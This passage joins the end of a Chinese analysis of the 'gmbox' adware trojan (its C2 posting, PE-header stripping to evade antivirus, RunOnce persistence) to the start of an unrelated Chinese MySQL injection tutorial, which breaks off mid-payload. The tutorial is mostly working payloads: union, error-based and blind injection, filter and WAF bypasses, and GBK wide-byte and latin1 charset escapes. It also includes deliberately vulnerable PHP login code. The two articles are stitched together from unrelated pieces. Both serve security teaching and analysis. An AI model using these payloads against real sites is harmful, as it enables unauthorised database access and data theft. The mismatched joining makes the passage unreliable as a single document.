Delete "$APPDATAMicrosoftInternet ExplorerQuick Launch*导航*.url"
Delete $INSTDIRad.dat
C) 调用gmbox.dll的Install函数,安装服务
图 14 安装脚本-调用gmbox.dll Install函数
D) 修改安装时间为当前时间的前1年.
图 15 安装脚本-修改安装时间
2) 主程序 gmbox.exe
A) 发送客户信息数据包: 内容包括PID(用于识别客户端),推广渠道ID,版本号,当前时间
图 16 数据包
B) 加密后Post到 http://sj.go2050.com/rcsj.ashx
图 17 post数据
C) 注册云控命令处理函数,可以看到有获取操作系统版本,执行任务,打开URL,执行云控命令,读取注册表,获取和设置主页等功能.
图 18 注册云控命令相应函数
D) 其中doTask1函数中接收到URL然后下载文件到临时目录
图 19 下载广告软件
E) 获取广告软件指令单,id=11009猜测可能是渠道号
图 20 获取指令单
其中带有-kboxsvc标记的(即ir56.exe)是安装软件.
F) 下载完成后把ir56.exe路径加密后, 添加到gmbox安装目录下的gmbox.ini文件nrd字段
图 21 加密后的ir56.exe路径
3) 服务程序 gmbox.dll
A) SERVICE_CONTROL_SHUTDOWN事件响应函数:
当系统关机时,函数执行,读取gmbox.ini中的nrd字段,即安装程序ir56.exe的路径,解密后设置RunOnce启动项.
图 22 设置ir56.exe启动项
B) 遍历下载的文件,判断PE文件标志,如果是修改过的exe,则恢复MZ和PE标记
图 23 还原PE文件
C) 添加启动项,不显示主界面,只有托盘图标
图 24 添加gmbox.exe启动项
D) 添加系统服务
图 25 创建gmbox update服务
E) 判断是否有调试进程,没有则以 -g参数启动gmbox.exe,自动升级程序.
图 26 遍历检测是否有指定进程
F) 加密后的检测进程名称列表
图 27 加密后的进程名称
G) dll还可以向指定网站通过SOAP协议获取捆绑软件的数据,弹窗数据,统计活跃数据,采集主机的信息.记录安装和卸载的数据等
图 28 调用采集接口
图 29 获取和采集数据接口说明
意外发现:
在软件获取最新版本号的地址
[http://dh.go2050.com/download/version.xml](http://dh.go2050.com/download/version.xml)
的上层目录中我们发现了anote(多彩便签)的安装包,下载后分析判定和gmbox高度相似.
图 30 anote安装包下载
1) 注册云控命令处理函数
图 31 gmbox注册云控命令处理函数
图 32 anote注册云控命令处理函数
2) 字符串加密函数
图 33 gmbox.dll 字符串加密函数
图 34 anote.dll 字符串加密函数
3) 加密的字符串表
图 35 gmbox.dll 加密的字符串表
图 36 anote.dll 加密的字符串表
这个字符串列表被_UnInstall函数引用,用于判断是用户手动卸载还是第三方管理软件卸载,并把结果发送到服务器做统计.
图 37 判断是否是用户手动卸载
图 38 构建发送字符串
图 39 发送统计数据
图 40 安装拦截
总结:
通过分析我们发现,该木马添加了系统服务,启动后过一段时间才触发行为,下载的安装程序去除了PE特征,以此逃过杀软扫描,系统关机时恢复PE文件,重启后安装推广软件,潜伏性、隐蔽性较强,中招之后较难发现,建议用户安装专业的安全软件,养成良好的上网习惯,从正规下载网站或者软件管家下载软件,不要运行来历不明的软件.安装软件时注意取消默认勾选的捆绑软件. | 社区文章 |
# 前言
最近在给学校的社团成员进行web安全方面的培训，由于在mysql注入这一块知识点挺杂的，入门容易，精通较难，网上相对比较全的资料也比较少，大多都是一个比较散的知识点，所以我打算将我在学习过程中遇到的关于的mysql注入的内容给全部罗列出来，既方便个人之后的复习，也方便后人查找相关资料。
本文部分内容可能会直接截取其他大牛的文章，截取的内容我都会进行声明处理。如有侵权，请发email联系我(asp-php#foxmail.com)删除。
# Mysql简介
在正式讲解mysql注入的内容前，我认为还是有必要说明一下什么是mysql、mysql的特点是什么等内容，这些东西看起来可能对注入毫无帮助，开始却能很好的帮助我们学习，融会贯通。
> MySQL是一个关系型数据库管理系统，由瑞典 MySQL AB 公司开发，目前属于 Oracle 公司。MySQL 是一种 **关联数据库管理系统**
> ，关联数据库将数据保存在不同的表中，而不是将所有数据放在一个大仓库内，这样就增加了速度并提高了灵活性。
>
> * MySQL是 **开源** 的，所以你不需要支付额外的费用。
> * MySQL使用 **标准的 SQL 数据语言** 形式。
> * MySQL可以运行于多个系统上，并且 **支持多种语言** 。这些编程语言包括
> C、C++、Python、Java、Perl、PHP、Eiffel、Ruby 和 Tcl 等。
> * MySQL **对PHP有很好的支持** ，PHP 是目前最流行的 Web 开发语言。
> * MySQL **支持大型数据库** ，支持 5000 万条记录的数据仓库，32 位系统表文件最大可支持 4GB，64
> 位系统支持最大的表文件为8TB。
> * MySQL是 **可以定制的** ，采用了 GPL 协议，你可以修改源码来开发自己的 MySQL 系统。
>
>
> 引自：[Mysql教程 | 菜鸟教程](https://www.runoob.com/mysql/mysql-tutorial.html)
一个完整的mysql管理系统结构通常如下图：
可以看到，mysql可以管理 **多个数据库** ，一个数据库可以包含 **多个数据表** ，而一个数据表有含有 **多条字段** ，一行数据正是
**多个字段同一行** 的一串数据。
# 什么是SQL注入？
简单的来说，SQL注入是开发者没有对用户的输入数据进行严格的限制/转义，致使用户在输入一些特定的字符时，在与后端设定的sql语句进行拼接时产生了歧义，使得用户可以控制该条sql语句与数据库进行通信。
举个例子：
<?php
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = @$_POST['username'];
$password = @$_POST['password'];
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
echo "success";
}else{
echo "fail";
}
?>
上述代码将模拟一个web应用程序进行登录操作。若登录成功，则返回success，否则，返回fail。
通常正常用户进行登录的sql语句为：
select * from users where username = '$username' and password='$password'
其中，变量$username
与变量$password为用户可以控制的内容，正常情况下，用户所输入的内容在sql语义上都将作为字符错，被赋值给前边的字段来当做整条select查询语句的筛选条件。
若用户输入的$username为`admin'#`，$password为`123`。那么拼接到sql语句中将得到如下结果：
select * from users where username = 'admin'#' and password='123'
这里的`#`是单行注释符，可以将后边的内容给注释掉。那么此条语句的语义将发生了变化，用户可以不需要判断密码，只需一个用户名，即可完成登录操作，这与开发者的初衷相悖。
# Mysql注入-入门
我们知道，在数据库中，常见的对数据进行处理的操作有： **增、删、查、改** 这四种。
每一项操作都具有不同的作用，共同构成了对数据的绝大部分操作。
* 增。顾名思义，也就是增加数据。在通用的SQL语句中，其简单结构通常可概述为: `INSERT table_name(columns_name) VALUES(new_values)`。
* 删。删除数据。简单结构为: `DELETE table_name WHERE condition`。
* 查。查询语句可以说是绝大部分应用程序最常用到的SQL语句，他的作用就是查找数据。其简单结构为：`SELECT columns_name FROM table_name WHERE condition`。
* 改。有修改/更新数据。简单结构为:`UPDATE table_name SET column_name=new_value WHERE condition`。
PS：以上SQL语句中，系统关键字全部进行了大写处理。
## 查
mysql的查询语句完整格式如下：
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
通常注入点发生在where_condition处，并不是说唯有此处可以注入，其他的位置也可以，只是我们先将此处的注入当做例子来进行讲解，之后会逐渐降到其他的位置该如何进行注入。
对于`SELECT`语句，我们通常分其为两种情况：有回显和无回显。
### 有回显
什么叫有回显？别急，我们来举个例子。
当我们点击一篇文章阅读时，其URL为`read.php?id=1`，我们可以很容易地猜出其SQL语句可能为`select * from articles
where id='$id'`。
这时候页面将SQL语句返回的内容显示在了页面中(本例中是标题、内容、作者等信息)，这种情况就叫有回显。
对于有回显的情况来说，我们通常使用 **联合查询注入法** 。
#### 联合查询注入
其作用就是，在原来查询条件的基础上，通过系统关键字`union`从而拼接上我们自己的`select`语句，后个`select`得到的结果将拼接到前个`select`的结果后边。如：前个`select`得到2条数据，后个`select`得到1条数据，那么后个`select`的数据将作为
**第3条** 拼接到第一个`select`返回的内容中，其字段名将 **按照位置** 关系进行继承。
如：`正常查询语句 union select columns_name from (database.)table_name where
condition`
这里需要注意的是：
* 若回显仅支持一行数据的话，记得 **让前边正常的查询语句返回的结果为空** 。
* 使用union select进行拼接时，注意 **前后两个select语句的返回的字段数必须相同** ，否则无法拼接。
### 无回显
什么叫无回显？之前举得登录判断就是一个无回显的例子。如果SQL语句存在返回的数据，那么页面输出为success，若不存在返回的数据，则输出fail。
与有回显情况不同的是：无回显的页面输出内容并不是SQL语句返回的内容。
对于无回显的情况，我们通常可用两种方法进行注入： **报错注入** 与 **盲注** 。
#### 报错注入
什么是报错注入，简单的说，就是有些特殊的函数，会在其报错信息里可能会返回其参数的值。
我们可以利用这一特性，在其参数放入我们想要得到的数据，通常使用子查询的方法实现，最后让其报错并输出结果。
正常语句 (where | and) exp(~(select * from(select user())a));
正常语句 (where | and) updatexml(1,concat(0x7e,(select user()),0x7e),1);
#### 盲注
若网站设置了无报错信息返回，那么在 **不直接返回数据+不返回报错信息** 的情况下，盲注便几乎成了最后一种直接注入取数据的方法了。
其中，盲注分成 **布尔盲注** 和 **时间盲注** 。
##### 布尔盲注
对于布尔盲注来说，其使用的场景在于： **对真/假条件返回的内容很容易区分** 。
比如说，有这么一条正常的select语句，我们再起where条件后边加上and
1=2，我们知道，1永远不等于2，那么这个条件就是一个永假条件，我们使用and语句连上，那么整个where部分就是永假的，这时候select语句是不会返回内容的。将其返回的内容与正常页面进行对比，如果很容易区分的话，那么布尔盲注试用。
如：`正常语句 (where | and) if(substr((select password from users where
username='admin'),1,1)='a',1,0)`
##### 时间盲注
相比较于布尔盲注，时间盲注依赖于通过 **页面返回的延迟时间** 来判断条件是否正确。
使用场景：布尔盲注永假条件所返回的内容与正常语句返回的内容很接近/相同，无法判断情况。
简单的来说，时间盲注就是，如果我们自定义的条件为假的话，我们让其0延迟通过，如果条件为真的话，使用sleep()等函数，让sql语句的返回产生延迟。
如：`正常语句（where | and）if(substr((select password from users where
username='admin'),1,1)='a',sleep(3),1)`
最后总结一下:
常见注入方法有三种：`联合查询注入、报错注入、盲注`，其中：
* 有回显： **三种均可使用** ，推荐使用联合查询注入。
* 无回显： **报错注入+盲注可用** 。
对于时间成本来说：联合查询注入<报错注入<<盲注。
通常情况下，盲注需要一个一个字符的进行判断。这极大的增加了时间成本，况且对于时间盲注来说，还需要额外的延迟时间来作为判断的标准。
### 三大注入的基本步骤
#### 联合查询注入步骤
1) 首先，先确定字段数量。
使用`order/group by`语句。通过往后边拼接数字，可确定字段数量， **若大于，则页面错误/无内容，若小于或等于，则页面正常**
。若错误页与正常页一样，更换报错注入/盲注。
2) 第二步，判断页面回显数据的字段位置。
使用`union select 1,2,3,4,x...` 我们定义的数字将显示在页面上，即可从中判断页面显示的字段位置。
注意：
* 若确定页面有回显，但是页面中并没有我们定义的特殊标记数字出现，可能是页面现在了单行数据输出，我们让前边的`select`查询条件返回结果为空即可。
* 注意一定要拼接够足够的字段数，否则SQL语句报错。PS：此方法也可作为判断前条`select`语句的方法之一。
3) 第三步，在显示的字段位置使用子查询来查询数据，或直接查询也可。
首先，查询当前数据库名database()、数据库账号user()、数据库版本version()等基本情况，再根据不同的版本、不同的权限确定接下来的方法。
##### 若Mysql版本<5.0
简单的说，由于mysql的低版本缺乏系统库 **information_schema**
，故通常情况下，我们无法直接查询表名，字段(列)名等信息，这时候只能靠 **猜** 来解决。
直接猜表名与列名是什么，甚至是库名，再使用联合查询取数据。
若知道仅表名而不知道列(字段)名：
可通过以下payload：
* 若多字段：select `x` from(select 1,2,3,4,xxx from table_name union select * from table_name)a
* 若单字段：select *,1,2,xxx from table_name
##### 若Mysql版本>=5.0
首先去一个名为 **information_schema** 的数据库里的 **shemata** 数据表查询 **全部数据库名** 。
若不需要跨数据库的话，可直接跳过此步骤，直接查询相应的数据库下的全部数据表名。
在information_schema的一个名为 **tables** 的数据表中存着全部的 **数据表信息** 。
其中， **table_name 字段保存其名称** ， **table_schema保存其对应的数据库名** 。
union select 1,2,group_concat(table_name),4,xxxx from information_schema.tables where table_schema=database();
上述payload可查看全部的数据表名，其中group_concat函数将多行数据转成一行数据。
接着通过其表名，查询该表的所有字段名，有时也称列名。
通过information_schema库下的 **columns** 表可查询对应的数据库/数据库表含有的字段名。
Union select 1,2,group_concat(column_name),4,xxxx from information_schema.columns where table_schema=database() and table_name=(table_name)#此处的表名为字符串型，也通过十六进制表示
知道了想要的数据存放的数据库、数据表、字段名，直接联合查询即可。
Union select 1,2,column_name,4,xxx from (database_name.)table_name
简单的说， **查库名- >查表名->查字段名->查数据**
### 盲注步骤：
核心：利用 **逻辑代数连接词/条件函数** ，让页面 **返回的内容/响应时间** 与正常的页面不符。
#### _布尔盲注：_
首先通过页面对于永真条件`or 1=1`与永假条件`and 1=2`的返回内容是否存在差异进行判断是否可以进行布尔盲注。
如：`select * from users where username=$username`，其作用设定为 _判断用户名是否存在_ 。
通常仅返回 **存在/不存在** ，两个结果。
这时候我们就不能使用联合查询法注入，因为页面显示SQL语句返回的内容，只能使用 **盲注法/报错注入法** 来注出数据。
我们在将语句注入成：`select * from users where username=$username or (condition)`
若后边拼接的条件为真的话，那么整条语句的where区域将变成 **永真** 条件。
那么，即使我们在$username处输入的用户名为一个铁定不存在的用户名，那么返回的结果也仍然为存在。
利用这一特性，我们的condition为：length(database())>8 即可用于判断数据库名长度
除此之外，还可：ascii(substr(database(),1,1))<130 用二分法快速获取数据名(逐字判断)
payload如下：
select * from users where username=nouser or length(database())>8
select * from users where username=nouser or ascii(substr(database(),1,1))<130
#### _时间盲注：_
通过判断页面 **返回内容的响应时间差异** 进行条件判断。
通常可利用的产生时间延迟的函数有： **sleep()、benchmark()** ，还有许多进行 **复杂运算的函数**
也可以当做延迟的判断标准、笛卡尔积合并数据表、GET_LOCK双SESSION产生延迟等方法。
如上述例子：若服务器在执行永真/永假条件并不直接返回两个容易区分的内容时，利用时间盲注或许是个更好的办法。
在上述语句中，我们拼接语句，变成：
select * from users where username=$username (and | or) if(length(database())>8,sleep(3),1)
如果数据库名的长度大于8，那么if条件将执行sleep(3)，那么此条语句将进行延迟3秒的操作。
若小于或等于8，则if条件直接返回1，并与前边的逻辑连接词拼接，无延迟直接返回。通常的响应时间在0-1秒之内，与上种情况具有很容易区分的结果，可做条件判断的依据。
### 报错注入步骤：
通过 **特殊函数** 的错误使用使其参数被页面输出。
前提：服务器开启报错信息返回，也就是发生错误时返回报错信息。
常见的利用函数有：`exp()、floor()+rand()、updatexml()、extractvalue()`等
如：`select * from users where username=$username (and | or)
updatexml(1,concat(0x7e,(select user()),0x7e),1)`
因为updatexml函数的第二个参数需要满足xpath格式，我们在其前后添加字符~，使其不满足xpath格式，进行报错并输出。
将上述payload的(select user())当做联合查询法的注入位置，接下来的操作与联合查询法一样。
注意：
* 报错函数通常尤其最长报错输出的限制，面对这种情况，可以进行分割输出。
* 特殊函数的特殊参数进运行一个字段、一行数据的返回，使用group_concat等函数聚合数据即可。
## 增、删、改
可简单当做无回显的Select语句进行注入。值得注意的是，通常增`insert`处的注入点在测试时会产生大量的垃圾数据，删delete处的注入千万要注意where条件不要为永真。
# Mysql注入-进阶
到目前为止，我们讲了Mysql注入的基本入门，那么接下来我将会花费大部分时间介绍我学习mysql注入遇到的一些知识点。
## 常见防御手段绕过
在讲绕过之前，我认为有必要先讲讲什么是：过滤与拦截。
简单的说就是：过滤指的是，我们输入的部分内容在拼接SQL语句之前被程序删除掉了，接着将过滤之后的内容拼接到SQL语句并继续与数据库通信。而拦截指的是：若检测到指定的内容存在，则直接返回拦截页面，同时不会进行拼接SQL语句并与数据库通信的操作。
若程序设置的是过滤，则若过滤的字符不为单字符，则可以使用双写绕过。
举个例子：程序过滤掉了`union`这一关键词，我们可以使用`ununionion`来绕过。
PS：一般检测方法都是利用的正则，注意观察正则匹配时，是否忽略大小写匹配，若不忽略，直接使用大小写混搭即可绕过。
### and/or 被过滤/拦截
1. 双写`anandd、oorr`
2. 使用运算符代替`&&、||`
3. 直接拼接`=`号，如：`?id=1=(condition)`
4. 其他方法，如：`?id=1^(condition)`
### 空格被过滤/拦截
1. 多层括号嵌套
2. 改用+号
3. 使用注释代替
4. `and/or`后面可以跟上偶数个`!、~`可以替代空格，也可以混合使用(规律又不同)，and/or前的空格可用省略
5. `%09, %0a, %0b, %0c, %0d, %a0`等部分不可见字符可也代替空格
如：`select * from user where
username='admin'union(select+title,content/**/from/*!article*/where/**/id='1'and!!!!~~1=1)`
### 括号被过滤/拦截
* order by 大小比较盲注
### 逗号被过滤/拦截
1. 改用盲注
2. 使用join语句代替
3. `substr(data from 1 for 1)`相当于`substr(data,1,1)`、`limit 9 offset 4`相当于`limt 9,4`
### 其他系统关键字被过滤/拦截
1. 双写绕过关键字过滤
2. 使用同义函数/语句代替，如if函数可用`case when condition then 1 else 0 end`语句代替。
### 单双引号被过滤/拦截/转义
1. 需要跳出单引号的情况：尝试是否存在编码问题而产生的SQL注入。
2. 不需要跳出单引号的情况：字符串可用十六进制表示、也可通过进制转换函数表示成其他进制。
### 数字被过滤/拦截
> 下表摘自[MySQL注入技巧](https://wooyun.js.org/drops/MySQL注入技巧.html)
代替字符 | 数 | 代替字符 | 数、字 | 代替字符 | 数、字
---|---|---|---|---|---
false、!pi() | 0 | ceil(pi()*pi()) | 10\ | A | ceil((pi()+pi())*pi()) | 20\ | K
true、!(!pi()) | 1 | ceil(pi()*pi())+true | 11\ | B |
ceil(ceil(pi())*version()) | 21\ | L
true+true | 2 | ceil(pi()+pi()+version()) | 12\ | C |
ceil(pi()*ceil(pi()+pi())) | 22\ | M
floor(pi())、~~pi() | 3 | floor(pi()*pi()+pi()) | 13\ | D |
ceil((pi()+ceil(pi()))*pi()) | 23\ | N
ceil(pi()) | 4 | ceil(pi()*pi()+pi()) | 14\ | E | ceil(pi())*ceil(version()) |
24\ | O
floor(version()) //注意版本 | 5 | ceil(pi()*pi()+version()) | 15\ | F |
floor(pi()*(version()+pi())) | 25\ | P
ceil(version()) | 6 | floor(pi()*version()) | 16\ | G |
floor(version()*version()) | 26\ | Q
ceil(pi()+pi()) | 7 | ceil(pi()*version()) | 17\ | H |
ceil(version()*version()) | 27\ | R
floor(version()+pi()) | 8 | ceil(pi()*version())+true | 18\ | I | ceil(pi()
_pi()_ pi()-pi()) | 28\ | S
floor(pi()*pi()) | 9 | floor((pi()+pi())*pi()) | 19\ | J | floor(pi() _pi()_
floor(pi())) | 29\ | T
## 编码转换产生的问题
### 宽字节注入
什么是宽字节注入？下面举个例子来告诉你。
<?php
$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$conn->query("set names 'gbk';");
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
echo $sql.'<br>';
if($rs->fetch_row()){
echo "success";
}else{
echo "fail";
}
?>
还是开头的例子，只不过加了点料。
$conn->query("set names 'gbk';");
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
`addslashes`函数将会把POST接收到的username与password的部分字符进行转义处理。如下：
* 字符`'、"、\`前边会被添加上一条反斜杠`\`作为转义字符。
* 多个空格被过滤成一个空格。
这使得我们原本的payload被转义成如下：
select * from users where username = 'admin\'#' and password='123';
注意：我们输入的单引号被转义掉了，此时SQL语句的功能是：查找用户名为`admin'#`且密码为123的用户。
但是我们注意到，在拼接SQL语句并与数据库进行通信之前，我们执行了这么一条语句：
$conn->query("set names 'gbk';");
其作用相当于：
mysql>SET character_set_client ='gbk';
mysql>SET character_set_results ='gbk';
mysql>SET character_set_connection ='gbk';
当我们输入的数据为：`username=%df%27or%201=1%23&password=123`
经过addslashes函数处理最终变成：`username=%df%5c%27or%201=1%23&password=123`
经过gbk解码得到：`username=運'or 1=1#`、`password=123`，拼接到SQL语句得：
select * from users where username = '運'or 1=1#' and password='123';
成功跳出了addslashes的转义限制。
#### 具体解释
前边提到：`set names 'gbk';`相当于执行了如下操作：
mysql>SET character_set_client ='gbk';
mysql>SET character_set_results ='gbk';
mysql>SET character_set_connection ='gbk';
那么此时在SQL语句在与数据库进行通信时，会先将SQL语句进行对应的`character_set_client`所设置的编码进行转码，本例是gbk编码。
由于PHP的编码为`UTF-8`，我们输入的内容为`%df%27`，会被当做是两个字符，其中`%27`为单引号`'`。
经过函数`addslashes`处理变成`%df%5c%27`，`%5c`为反斜线`\`。
在经过客户端层`character_set_client`编码处理后变成：`運'`，成功将反斜线给“吞”掉了，使单引号逃逸出来。
### Latin1默认编码
讲完了gbk造成的编码问题，我们再讲讲latin1造成的编码问题。
老样子，先举个例子。
<?php
//该代码节选自：离别歌's blog
$mysqli = new mysqli("localhost", "root", "root", "cat");
/* check connection */
if ($mysqli->connect_errno) {
printf("Connect failed: %s\n", $mysqli->connect_error);
exit();
}
$mysqli->query("set names utf8");
$username = addslashes($_GET['username']);
//我们在其基础上添加这么一条语句。
if($username === 'admin'){
die("You can't do this.");
}
/* Select queries return a resultset */
$sql = "SELECT * FROM `table1` WHERE username='{$username}'";
if ($result = $mysqli->query( $sql )) {
printf("Select returned %d rows.\n", $result->num_rows);
while ($row = $result->fetch_array(MYSQLI_ASSOC))
{
var_dump($row);
}
/* free result set */
$result->close();
} else {
var_dump($mysqli->error);
}
$mysqli->close();
?>
建表语句如下：
CREATE TABLE `table1` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(255) COLLATE latin1_general_ci NOT NULL,
`password` varchar(255) COLLATE latin1_general_ci NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
我们设置表的编码为latin1，事实上，就算你不填写，默认编码便是latin1。
我们往表中添加一条数据：`insert table1 VALUES(1,'admin','admin');`
注意查看源代码：
if($username === 'admin'){
die("You can't do this.");
}
我们对用户的输入进行了判断，若输入内容为admin，直接结束代码输出返回，并且还对输出的内容进行addslashes处理，使得我们无法逃逸出单引号。
这样的话，我们该怎样绕过这个限制，让页面输出admin的数据呢？
我们注意到：`$mysqli->query("set names utf8");`这么一行代码，在连接到数据库之后，执行了这么一条SQL语句。
上边在gbk宽字节注入的时候讲到过：`set names utf8;`相当于：
mysql>SET character_set_client ='utf8';
mysql>SET character_set_results ='utf8';
mysql>SET character_set_connection ='utf8';
前边说道：PHP的编码是`UTF-8`，而我们现在设置的也是`UTF-8`，怎么会产生问题呢？
别着急，让我接着往下说。前边我们提到：SQL语句会先转成`character_set_client`设置的编码。但，他接下来还会继续转换。`character_set_client`客户端层转换完毕之后，数据将会交给`character_set_connection`连接层处理，最后在从`character_set_connection`转到数据表的内部操作字符集。
来本例中，字符集的转换为：`UTF-8—>UTF-8->Latin1`
这里需要讲一下UTF-8编码的一些内容。
> UTF-8编码是变长编码，可能有1~4个字节表示：
>
> 1. 一字节时范围是`[00-7F]`
> 2. 两字节时范围是`[C0-DF][80-BF]`
> 3. 三字节时范围是`[E0-EF][80-BF][80-BF]`
> 4. 四字节时范围是`[F0-F7][80-BF][80-BF][80-BF]`
>
>
> 然后根据RFC 3629规范，又有一些字节值是不允许出现在UTF-8编码中的：
>
>
>
>
> 所以最终，UTF-8第一字节的取值范围是：00-7F、C2-F4。
>
> 关于所有的UTF-8字符，你可以在这个表中一一看到： <http://utf8-chartable.de/unicode-utf8-table.pl>
>
> 引自：[Mysql字符编码利用技巧](https://www.leavesongs.com/PENETRATION/mysql-charset-> trick.html)
利用这一特性，我们输入：`?username=admin%c2`，`%c2`是一个Latin1字符集不存在的字符。
由上述，可以简单的知道：%00-%7F可以直接表示某个字符、%C2-%F4不可以直接表示某个字符，他们只是其他长字节编码结果的首字节。
但是，这里还有一个Trick：Mysql所使用的UTF-8编码是阉割版的，仅支持三个字节的编码。所以说，Mysql中的UTF-8字符集只有最大三字节的字符，首字节范围：`00-7F、C2-EF`。
而对于不完整的长字节UTF-8编码的字符，若进行字符集转换时，会直接进行忽略处理。
利用这一特性，我们的payload为`?username=admin%c2`，此处的`%c2`换为`%c2-%ef`均可。
SELECT * FROM `table1` WHERE username='admin'
因为`admin%c2`在最后一层的内部操作字符集转换中变成`admin`。
## 报错注入原理
我们前边说到，报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。
那么，我们具体来说说，都有哪些特殊函数，以及他们都该怎么使用。
MySQL的报错注入主要是利用MySQL的一些逻辑漏洞，如BigInt大数溢出等，由此可以将MySQL报错注入分为以下几类：
* BigInt等数据类型溢出
* 函数参数格式错误
* 主键/字段重复
### exp()
函数语法：`exp(int)`
适用版本：5.5.5~5.5.49
该函数将会返回e的x次方结果。正常如下图：
为什么会报错呢？我们知道，次方到后边每增加1，其结果都将跨度极大，而mysql能记录的double数值范围有限，一旦结果超过范围，则该函数报错。如下图：
我们的payload为：`exp(~(select * from(select user())a))`
其中，~符号为运算符，意思为一元字符反转，通常将字符串经过处理后变成大整数，再放到exp函数内，得到的结果将超过mysql的double数组范围，从而报错输出。至于为什么需要用两层子查询，这点我暂时还没有弄明白，欢迎有了解的大牛找我讨论:
)
除了`exp()`之外，还有类似`pow()`之类的相似函数同样是可利用的，他们的原理相同。
### updatexml()
函数语法：`updatexml(XML_document, XPath_string, new_value);`
适用版本: 5.1.5+
我们通常在第二个xpath参数填写我们要查询的内容。
与exp()不同，updatexml是由于参数的格式不正确而产生的错误，同样也会返回参数的信息。
payload: `updatexml(1,concat(0x7e,(select user()),0x7e),1)`
前后添加~使其不符合xpath格式从而报错。
### extractvalue()
函数语法：`EXTRACTVALUE (XML_document, XPath_string);`
适用版本：5.1.5+
利用原理与updatexml函数相同
payload: `and (extractvalue(1,concat(0x7e,(select user()),0x7e)))`
### rand()+group()+count()
虚拟表报错原理：简单来说，是由于where条件每执行一次，rand函数就会执行一次，如果在由于在统计数据时判断依据不能动态改变，故`rand()`不能后接在`order/group
by`上。
举一个例子：假设user表有三条数据，我们通过：`select * from user group by username`
来通过其中的username字段进行分组。
此过程会先建立一个 **虚拟表** ，存在两个字段：`key，count`
其中我们通过username来判断，其在此处是字段，首先先取第一行的数据：`username=test&password=test`
username为test出现一次，则现在虚表内查询是否存在test，若存在，则count+1，若不存在，则添加test，其count为1。
对于`floor(rand(0)*2)`，其中`rand()`函数，会生成0~1之间随机一个小数、`floor()`取整数部分、0是随机因子、乘2是为了让大于0.5的小数通过floor函数得1，否则永远为0。
若表中有三行数据：我们通过`select * from user group by floor(rand(0)*2)`进行排序的话。
注意，由于`rand(0)`的随机因子是被固定的，故其产生的随机数也被固定了，顺序为：011011…
首先`group
by`需要执行的话，需要确定分组因子，故`floor(rand(0)*2)`被执行一次，得到的结果为0，接着在虚表内检索0，发现虚表没有键值为0的记录，故添加上，在进行添加时：`floor(rand(0)*2)`第二次被执行，得到结果1，故虚表插入的内容为`key=1&count=1`。
第二次执行group
by时：`floor(rand(0)*2)`先被运行一次，也就是第三次运行。得到结果1，查询虚表发现数据存在，因而直接让虚表内的key=1的count加一即可，floor(..)只运行了一次。
第三次执行group
by时，floor被执行第四次，得到结果0，查询虚表不存在。再插入虚表时，floor(…)被执行第五次，得到结果1，故此时虚表将插入的值为`key=1&count=1`，注意，此时虚表已有一条记录为：`key=1&count=2`，并且字段key为
**主键** ，具有不可重复性，故虚表在尝试插入时将产生错误。
图文：
> 1.查询前默认会建立空虚拟表如下图:
>
>
>
>
> 2.取第一条记录，执行floor(rand(0) _2)，发现结果为0(第一次计算),查询虚拟表，发现0的键值不存在，则floor(rand(0)_
> 2)会被再计算一次，结果为1(第二次计算)，插入虚表，这时第一条记录查询完毕，如下图:
>
>
>
>
> \3.查询第二条记录，再次计算floor(rand(0)
> _2)，发现结果为1(第三次计算)，查询虚表，发现1的键值存在，所以floor(rand(0)_
> 2)不会被计算第二次，直接count(*)加1，第二条记录查询完毕，结果如下:
>
>
>
>
> 4.查询第三条记录，再次计算floor(rand(0)
> _2)，发现结果为0(第4次计算)，查询虚表，发现键值没有0，则数据库尝试插入一条新的数据，在插入数据时floor(rand(0)_
> 2)被再次计算，作为虚表的主键，其值为1(第5次计算)，然而1这个主键已经存在于虚拟表中，而新计算的值也为1(主键键值必须唯一)，所以插入的时候就直接报错了。
>
> 5.整个查询过程floor(rand(0)*2)被计算了5次，查询原数据表3次，所以这就是为什么数据表中需要3条数据，使用该语句才会报错的原因。
>
> 引自：——[Mysql报错注入原理分析(count()、rand()、group
> by)](http://drops.wooyun.org/tips/14312)
payload用法: `union select count(*),2,concat(':',(select
database()),':',floor(rand()*2))as a from information_schema.tables group by
a`
### 几何函数
* GeometryCollection：`id=1 AND GeometryCollection((select * from (select* from(select user())a)b))`
* polygon()：`id=1 AND polygon((select * from(select * from(select user())a)b))`
* multipoint()：`id=1 AND multipoint((select * from(select * from(select user())a)b))`
* multilinestring()：`id=1 AND multilinestring((select * from(select * from(select user())a)b))`
* linestring()：`id=1 AND LINESTRING((select * from(select * from(select user())a)b))`
* multipolygon() ：`id=1 AND multipolygon((select * from(select * from(select user())a)b))`
### 不存在的函数
随便适用一颗不存在的函数，可能会得到当前所在的数据库名称。
### Bigint数值操作：
当mysql数据库的某些边界数值进行数值运算时，会报错的原理。
如~0得到的结果：18446744073709551615
若此数参与运算，则很容易会错误。
payload: `select !(select * from(select user())a)-~0;`
### name_const()
仅可取数据库版本信息
payload: `select * from(select
